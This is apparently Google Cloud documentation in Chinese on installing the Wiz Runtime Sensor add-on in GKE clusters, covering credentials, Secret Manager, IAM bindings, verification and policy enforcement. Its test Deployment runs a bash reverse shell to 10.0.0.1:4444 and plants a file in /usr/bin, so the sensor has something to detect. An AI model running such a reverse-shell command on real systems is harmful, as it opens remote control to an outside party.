Wiz Runtime Sensor 是 Wiz 核心平台的元件,可為執行階段工作負載提供即時威脅偵測和應變功能。您可以將執行階段感應器安裝在 Google Kubernetes Engine (GKE) 叢集,做為代管外掛程式。本文件說明如何安裝 Runtime Sensor 外掛程式、設定 Wiz 平台存取權,以及在機構、資料夾或專案中強制安裝 Runtime Sensor。適用對象為平台管理員和安全工程師。
您應該已熟悉 Wiz 執行階段感應器。
何時使用 Runtime Sensor 外掛程式
代管外掛程式安裝方法是內建替代方案,可取代使用 Helm 資訊套件等安裝方法安裝 Runtime Sensor。Runtime Sensor 外掛程式具備下列優點:
- GKE 會安裝元件並管理大部分的設定工作,因此與使用 Helm 圖表相比,安裝執行階段感應器的工作量和複雜度都較低。
- 您可以使用「組織政策服務」,在整個機構、資料夾或專案中強制啟用外掛程式。
- 這個外掛程式會在 Autopilot 叢集中執行,並與 Standard 叢集中的 Autopilot 工作負載並行運作,不需要將 Runtime Sensor 新增至允許清單。
- 執行階段感應器元件的任何更新,都與 GKE 修補程式版本升級無關。
您也可以使用 Helm 圖表,在叢集中安裝執行階段感應器。如果使用這個方法,您就能更靈活地自訂感應器設定。不過,與使用外掛程式相比,這種方法在安裝期間需要更多手動設定,且較難大規模強制執行。如果您使用 Helm 資訊圖表安裝 Runtime Sensor,則元件不會由 GKE 管理。如果您未使用 GKE 外掛程式,請直接向 Wiz 回報 Runtime Sensor 的任何問題,例如錯誤或不相容。
運作方式
您可以使用 GKE API,在特定叢集中安裝外掛程式。
啟用外掛程式後,GKE 會建立 gke-managed-wiz 命名空間,並安裝執行階段感應器元件。GKE 需要存取 Wiz 私人 Container Registry,才能提取 Runtime Sensor 的映像檔。
安裝完成後,Runtime Sensor 必須存取 Wiz API,才能將資訊傳送至 Wiz 平台。如要授予 GKE 和執行階段感應器所需存取權,請在 gke-managed-wiz 命名空間中以祕密的形式提供下列資訊:
- 存取 Wiz Container Registry 及提取執行階段感應器映像檔所需的憑證。
- 執行階段感應器的設定資訊,例如 Wiz API 憑證和環境專屬變數。
您可以手動建立這些 Secret,或將資訊上傳至 Google CloudSecret Manager,系統會自動建立 Secret、定期輪替版本,並將更新內容發布至已部署的 Secret。
定價
GKE 提供 Wiz Runtime Sensor 外掛程式,無須額外付費。請注意以下事項:
- 您必須具備有效的 Wiz Runtime Sensor 授權。詳情請參閱「Wiz 定價」。
- Runtime Sensor 元件會在節點上執行,並耗用 CPU 和記憶體資源,因此可能需要更多節點,才能容納叢集中的所有 Pod。
- 如果您使用 Secret Manager 儲存 Wiz 憑證和設定,則適用 Secret Manager 定價。
限制
使用外掛程式時,請注意以下限制:
- 如果您在已部署的 Secret 中更新 Wiz 登錄檔或 API 憑證,則必須使用
kubectl rollout restart指令,手動重新啟動 Runtime Sensor DaemonSet。 - 如要安裝執行階段感應器,您必須將租戶的 Wiz 登錄檔憑證上傳為 Kubernetes Secret,或上傳至 Secret Manager。
- 如果您使用私人節點,則必須使用 Cloud NAT 設定
Wiz 容器登錄檔 (
registry.wiz.io) 的傳出存取權。 - 受管理 GKE 外掛程式僅支援下列 Runtime Sensor 的選用設定參數:
httpProxyConfiguration.httpsProxyhttpProxyConfiguration.caCertificatehttpProxyConfiguration.clientCertificate
如要使用任何其他設定參數,請使用 Helm 資訊套件安裝 Runtime Sensor。
事前準備
開始之前,請務必先完成下列工作:
- 啟用 Google Kubernetes Engine API。 啟用 Google Kubernetes Engine API
- 如要使用 Google Cloud CLI 執行這項工作,請安裝並初始化 gcloud CLI。如果您先前已安裝 gcloud CLI,請執行
gcloud components update指令,取得最新版本。較舊的 gcloud CLI 版本可能不支援執行本文件中的指令。
- 建立 Autopilot 叢集或已啟用 GKE Workload Identity 聯盟的標準叢集,並執行 GKE 1.36.4-gke.1495000 以上版本。
必要的角色
如要啟用及設定 GKE 的執行階段感應器外掛程式,您必須具備 Google Cloud 專案的下列角色:
- 設定 GKE 叢集: Google Cloud 專案的 Kubernetes Engine 叢集管理員 (
roles/container.clusterAdmin)。 - 將 API 憑證和設定檔上傳至 Secret Manager: Google Cloud 專案的 Secret Manager 編輯者 (
roles/secretmanager.editor)。 - 將 Identity and Access Management (IAM) 角色授予執行階段感應器使用的 Kubernetes ServiceAccount: Google Cloud 專案的 Secret Manager 管理員 (
roles/secretmanager.admin)。 - 設定組織政策:組織的組織政策管理員 (
roles/orgpolicy.policyAdmin)。
您也必須有 Wiz 租戶的存取權,才能取得 Wiz Container Registry 的憑證,並產生 Wiz API 的 OAuth 權杖。
準備 Wiz 憑證和設定檔
如要安裝 Runtime Sensor 並將資訊傳送至 Wiz 平台,您必須提供憑證,才能存取 Wiz 私人登錄檔和 Wiz API。如要準備這項資訊,請按照下列步驟操作:
- 找出
registry.wiz.io登錄檔的 Wiz Container Registry 憑證。 建立 Base64 編碼字串,內含 Kubernetes 可剖析結構中的登錄憑證:
echo -n 'WIZ_REGISTRY_USERNAME:WIZ_REGISTRY_PASSWORD' | base64 | tr -d '\n'更改下列內容:
WIZ_REGISTRY_USERNAME:Wiz Container Registry 的使用者名稱。WIZ_REGISTRY_PASSWORD:Wiz Container Registry 的密碼。
輸出結果會與下列內容相似:
aGVsbG86d29ybGQ=將資訊儲存為 JSON 檔案:
{ "auths": { "registry.wiz.io": { "username": "WIZ_REGISTRY_USERNAME", "password": "WIZ_REGISTRY_PASSWORD", "auth": "BASE64_ENCODED_CREDENTIALS" } } }將
BASE64_ENCODED_CREDENTIALS替換為上一個步驟中的編碼字串。建立 Wiz 服務帳戶,並複製下列資訊:
- 您也可以在 Wiz 入口網站的「服務帳戶」頁面中找到用戶端 ID。
- 用戶端密鑰,只有在建立服務帳戶時才會顯示。
為 Runtime Sensor 建立 YAML 設定檔:
clientId: "WIZ_CLIENT_ID" clientToken: "WIZ_CLIENT_SECRET" clientEndpoint: "WIZ_CLIENT_ENDPOINT"更改下列內容:
WIZ_CLIENT_ID:服務帳戶的用戶端 ID。WIZ_CLIENT_TOKEN:服務帳戶的用戶端密鑰。WIZ_CLIENT_ENDPOINT:要使用的權杖網址,取決於您的 Wiz 租戶。
選用:如果您使用 HTTP Proxy,可以將執行階段感應器設為使用 Proxy 伺服器。為 Proxy 建立 YAML 設定檔:
httpsProxy: "PROXY_URL" caCertificate: "CA_CERTIFICATE" clientCertificate: "CLIENT_CERTIFICATE"更改下列內容:
PROXY_URL:完整的 Proxy 網址,例如https://proxy.example.com:8080。CA_CERTIFICATE:Proxy 伺服器的 PEM 格式 CA 憑證。如果您的 Proxy 伺服器未使用 TLS,請指定空白值 ("")。CLIENT_CERTIFICATE:Proxy 伺服器的用戶端憑證,格式為 PEM。如果 Proxy 伺服器未使用 TLS,請指定空白值 ("")。
在 Secret Manager 中建立密鑰
本節說明如何在 Secret Manager 中儲存各種 Wiz 設定和憑證檔案。在 GKE 叢集中啟用執行階段感應器外掛程式時,您可以指定這些 Secret 的 URI。Secret Manager 會自動在 Wiz 命名空間中建立 Kubernetes Secret。更新 Secret Manager 中的值時,Kubernetes Secret 會自動重新同步,以使用新值。您可以選擇略過這個部分,並在 gke-managed-wiz 命名空間中手動建立密鑰。
如要在 Secret Manager 中建立密鑰,請按照下列步驟操作:
儲存 Wiz 登錄憑證:
建立 Secret 來儲存 Wiz 登錄檔憑證:
gcloud secrets create wiz-image-pull-secret \ --replication-policy="automatic" \ --project="SECRET_PROJECT_ID"將
SECRET_PROJECT_ID替換為要建立密鑰的專案 ID。 Google Cloud將 Wiz 登錄檔憑證儲存在
wiz-image-pull-secret密鑰中:gcloud secrets versions add wiz-image-pull-secret \ --project="SECRET_PROJECT_ID" \ --data-file=PATH_TO_CREDENTIALS_FILE將
PATH_TO_CREDENTIALS_FILE替換為包含 Wiz 登錄檔憑證的 JSON 檔案路徑。
儲存 Runtime Sensor API 憑證:
建立密碼,儲存 Runtime Sensor API 憑證:
gcloud secrets create wiz-api-key-secret \ --replication-policy="automatic" \ --project="SECRET_PROJECT_ID"將執行階段感應器 API 憑證儲存在
wiz-api-key-secret密鑰中:gcloud secrets versions add wiz-api-key-secret \ --project="SECRET_PROJECT_ID" \ --data-file=PATH_TO_CONFIG_FILE將
PATH_TO_CONFIG_FILE替換為含有 Runtime Sensor API 憑證的 YAML 檔案路徑。
選用:儲存 Proxy 的設定資訊:
建立密鑰來儲存 Proxy 伺服器設定:
gcloud secrets create wiz-sensor-proxy-secret \ --replication-policy="automatic" \ --project="SECRET_PROJECT_ID"將 Proxy 伺服器設定儲存在
wiz-sensor-proxy-secret密鑰中:gcloud secrets versions add wiz-sensor-proxy-secret \ --project="SECRET_PROJECT_ID" \ --data-file=PATH_TO_PROXY_FILE將
PATH_TO_PROXY_FILE替換為包含 Proxy 設定參數的 YAML 檔案路徑。
授予 GKE Secret Manager 的存取權
如要將 Secret Manager 中的資訊同步為 Kubernetes Secret,請將您建立的 Secret 的 Secret Manager Secret Accessor (roles/secretmanager.secretAccessor) IAM 角色,授予 gke-managed-wiz 命名空間中的 wiz-sensor-secretsync-sa Kubernetes ServiceAccount。在叢集中啟用執行階段感應器外掛程式時,GKE 會建立這個 ServiceAccount,並使用 ServiceAccount 身分在命名空間中建立對應的 Secret。如果您打算手動建立 Secret,而非使用 Secret Manager,請略過本節。
請按照下列步驟授予必要角色:
找出叢集專案的專案編號:
gcloud projects describe CLUSTER_PROJECT_ID --format='value(projectNumber)'輸出結果大致如下:
1234567890。在
wiz-image-pull-secret密鑰上授予角色:gcloud secrets add-iam-policy-binding wiz-image-pull-secret \ --project=SECRET_PROJECT_ID \ --role="roles/secretmanager.secretAccessor" \ --member="principal://iam.googleapis.com/projects/CLUSTER_PROJECT_NUMBER/locations/global/workloadIdentityPools/CLUSTER_PROJECT_ID.svc.id.goog/subject/ns/gke-managed-wiz/sa/wiz-sensor-secretsync-sa"更改下列內容:
SECRET_PROJECT_ID:Secret 所在專案的專案 ID。CLUSTER_PROJECT_NUMBER:叢集專案的專案編號。CLUSTER_PROJECT_ID:叢集專案的專案 ID。
授予
wiz-api-key-secret密鑰的角色:gcloud secrets add-iam-policy-binding wiz-api-key-secret \ --project=SECRET_PROJECT_ID \ --role="roles/secretmanager.secretAccessor" \ --member="principal://iam.googleapis.com/projects/CLUSTER_PROJECT_NUMBER/locations/global/workloadIdentityPools/CLUSTER_PROJECT_ID.svc.id.goog/subject/ns/gke-managed-wiz/sa/wiz-sensor-secretsync-sa"選用:如果您建立的 Secret 含有 HTTP Proxy 資訊,請授予
wiz-sensor-proxy-secretSecret 的角色:gcloud secrets add-iam-policy-binding wiz-sensor-proxy-secret \ --project=SECRET_PROJECT_ID \ --role="roles/secretmanager.secretAccessor" \ --member="principal://iam.googleapis.com/projects/CLUSTER_PROJECT_NUMBER/locations/global/workloadIdentityPools/CLUSTER_PROJECT_ID.svc.id.goog/subject/ns/gke-managed-wiz/sa/wiz-sensor-secretsync-sa"
啟用 GKE 的執行階段感應器外掛程式
在 Secret Manager 中建立密鑰,並授予 GKE 密鑰的必要角色後,請為叢集啟用 Runtime Sensor 外掛程式。您可以在新的或現有的 Standard 或 Autopilot 叢集上啟用外掛程式。下列步驟說明如何在現有叢集中啟用外掛程式,並設定 Secret 同步。建立叢集時,也可以使用這些旗標。
為現有叢集啟用密鑰同步功能。如果您打算手動建立 Secret,而不是使用 Secret Manager,請略過這個步驟。
gcloud container clusters update CLUSTER_NAME \ --project=CLUSTER_PROJECT_ID \ --location=CONTROL_PLANE_LOCATION \ --enable-secret-sync --enable-secret-sync-rotation更改下列內容:
CLUSTER_NAME:叢集名稱。CLUSTER_PROJECT_ID:叢集專案的專案 ID。CONTROL_PLANE_LOCATION:叢集的控制層位置。
執行下列其中一個指令,啟用外掛程式。如果您打算手動建立 Secret,而不是使用 Secret Manager,請只在這些指令中指定
--addons旗標。啟用外掛程式,但不設定 HTTP Proxy:
gcloud container clusters update CLUSTER_NAME \ --project=CLUSTER_PROJECT_ID \ --location=CONTROL_PLANE_LOCATION \ --update-addons=WizSensor=ENABLED \ --wiz-sensor-registry-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-image-pull-secret/versions/latest \ --wiz-sensor-api-key-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-api-key-secret/versions/latest啟用外掛程式並設定 HTTP Proxy:
gcloud container clusters update CLUSTER_NAME \ --project=CLUSTER_PROJECT_ID \ --location=CONTROL_PLANE_LOCATION \ --update-addons=WizSensor=ENABLED \ --wiz-sensor-registry-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-image-pull-secret/versions/latest \ --wiz-sensor-api-key-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-api-key-secret/versions/latest \ --wiz-sensor-proxy-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-sensor-proxy-secret/versions/latest
驗證安裝
如要確認外掛程式是否已安裝,請按照下列步驟操作:
取得憑證,在叢集中執行
kubectl指令:gcloud container clusters get-credentials CLUSTER_NAME \ --location=CONTROL_PLANE_LOCATION \ --project=CLUSTER_PROJECT_ID檢查
gke-managed-wiz命名空間是否存在:kubectl get namespace gke-managed-wiz輸出結果會與下列內容相似:
NAME STATUS AGE gke-managed-wiz Active 76s檢查命名空間中是否存在 Secret Manager 自訂資源:
kubectl get secretproviderclass --namespace=gke-managed-wiz kubectl get secretsync --namespace=gke-managed-wiz輸出結果會與下列內容相似:
NAME AGE wiz-sensor-secrets-provider 76s wiz-sensor-apikey 76s wiz-sensor-imagepullkey 75s wiz-sensor-proxy 76s檢查 Kubernetes Secret 是否存在:
kubectl get secrets --namespace=gke-managed-wiz輸出結果會與下列內容相似:
NAME TYPE DATA AGE wiz-sensor-apikey Opaque 3 76s wiz-sensor-imagepullkey kubernetes.io/dockerconfigjson 1 75s檢查 Runtime Sensor DaemonSet 的狀態:
kubectl get daemonset --namespace=gke-managed-wiz輸出結果會與下列內容相似:
NAME DESIRED CURRENT READY UP-TO-DATE AVAILABLE NODE SELECTOR AGE wiz-sensor 1 1 1 1 1 <none> 76s這項輸出內容表示執行階段感應器已準備就緒,可供使用。
查看執行階段感應器 Pod 的啟動和連線記錄:
kubectl logs -n gke-managed-wiz daemonset/wiz-sensor --tail=100輸出結果會與下列內容相似:
{"fields":{"defs_commit":"","defs_version":"0.0.0","message":"version","sensor_version":"1.0.12402 (CMT_6dda526 2026-09-11T15:51:34-04:00)"},"level":"INFO","timestamp":"2026-09-24T17:06:32.982+00:00"} {"fields":{"message":"starting content update"},"level":"INFO","timestamp":"2026-09-24T17:06:33.304+00:00"} {"fields":{"message":"ending content update - new content downloaded"},"level":"INFO","timestamp":"2026-09-24T17:06:34.215+00:00"} {"fields":{"defs_commit":"4cf39a653","defs_version":"1.0.6125","message":"version","sensor_version":"1.0.12402 (CMT_6dda526 2026-09-11T15:51:34-04:00)"},"level":"INFO","timestamp":"2026-09-24T17:06:34.372+00:00"} {"fields":{"env":{"ALLOWED_CONTROLLER_API_GROUPS":"[\"\",\"apps\",\"batch\",\"argoproj.io\",\"sparkoperator.k8s.io\",\"ray.io\",\"tekton.dev\",\"composer.cloud.google.com\",\"kafka.strimzi.io\",\"actions.github.com\"]","ALLOW_KUBELET_COMMUNICATION":"false","BACKEND_ENV":"prod","CRI_SOCKET_CUSTOM_PATH":"","HELM_CHART_COMPAT_VER":"1","HELM_CHART_VERSION":"1.0.11492","HTTP_PROXY_URL":"","JSON":"true","LOG_FILE":"/wiz-sensor-store/sensor.log","RAMFS_STORE":"/tmp/","SENSOR_CLUSTER_NAME":"CLUSTER_NAME","STDOUT_LOG":"error","TMP_STORE":"/wiz-sensor-store/"},"hash":"daa946af4dd7eb728495e752bb35399749ad2c2c","message":"Wiz Sensor env config"},"level":"INFO","timestamp":"2026-09-24T17:09:24.844+00:00"} {"fields":{"defs_commit":"4cf39a653","defs_version":"1.0.6125","message":"version","sensor_version":"1.0.12402 (CMT_6dda526 2026-09-11T15:51:34-04:00)"},"level":"INFO","timestamp":"2026-09-24T17:09:25.249+00:00"} {"fields":{"major":6,"message":"kernel version","minor":12,"patch":94},"level":"INFO","timestamp":"2026-09-24T17:09:25.277+00:00"} {"fields":{"delay":{"nanos":0,"secs":0},"message":"sensor start delay secs","range":0},"level":"INFO","timestamp":"2026-09-24T17:09:34.994+00:00"}
部署測試工作負載
如要檢查與 Wiz 入口網站的連線是否正常運作,請按照下列步驟操作:
將下列 Deployment 資訊清單儲存為 YAML 檔案:
apiVersion: apps/v1 kind: Deployment metadata: name: demo-nginx namespace: default spec: replicas: 1 selector: matchLabels: app: demo-nginx template: metadata: labels: app: demo-nginx spec: containers: - name: nginx image: nginx:1.15.6 command: ["/bin/bash", "-c"] args: - | # Trigger background reverse shell attempt (timeout 5 bash -i >& /dev/tcp/10.0.0.1/4444 0>&1) & # Trigger image drift file modification touch /usr/bin/malicious_test_file # Start Nginx exec nginx -g "daemon off;" ports: - containerPort: 80這個 Deployment 會建立 Pod,模擬反向殼層攻擊。
建立 Deployment:
kubectl apply -f PATH_TO_MANIFEST將
PATH_TO_MANIFEST替換為 Deployment 資訊清單檔案的路徑。在 Wiz 入口網站中,前往「Threats」(威脅) 頁面。
在威脅表格中,找出反向殼層嘗試的威脅發現項目。
使用組織政策強制安裝外掛程式
您可以使用組織政策,在組織、資料夾或專案的多個叢集中,強制安裝執行階段感應器外掛程式。建立具有下列屬性的自訂限制:
- 資源:
container.googleapis.com/Cluster - 條件:
resource.addonsConfig.wizSensor.enabled == false - 動作:
DENY
如要進一步瞭解如何設定具有這些屬性的自訂限制,請參閱「使用自訂組織政策限制對 GKE 資源執行的動作」。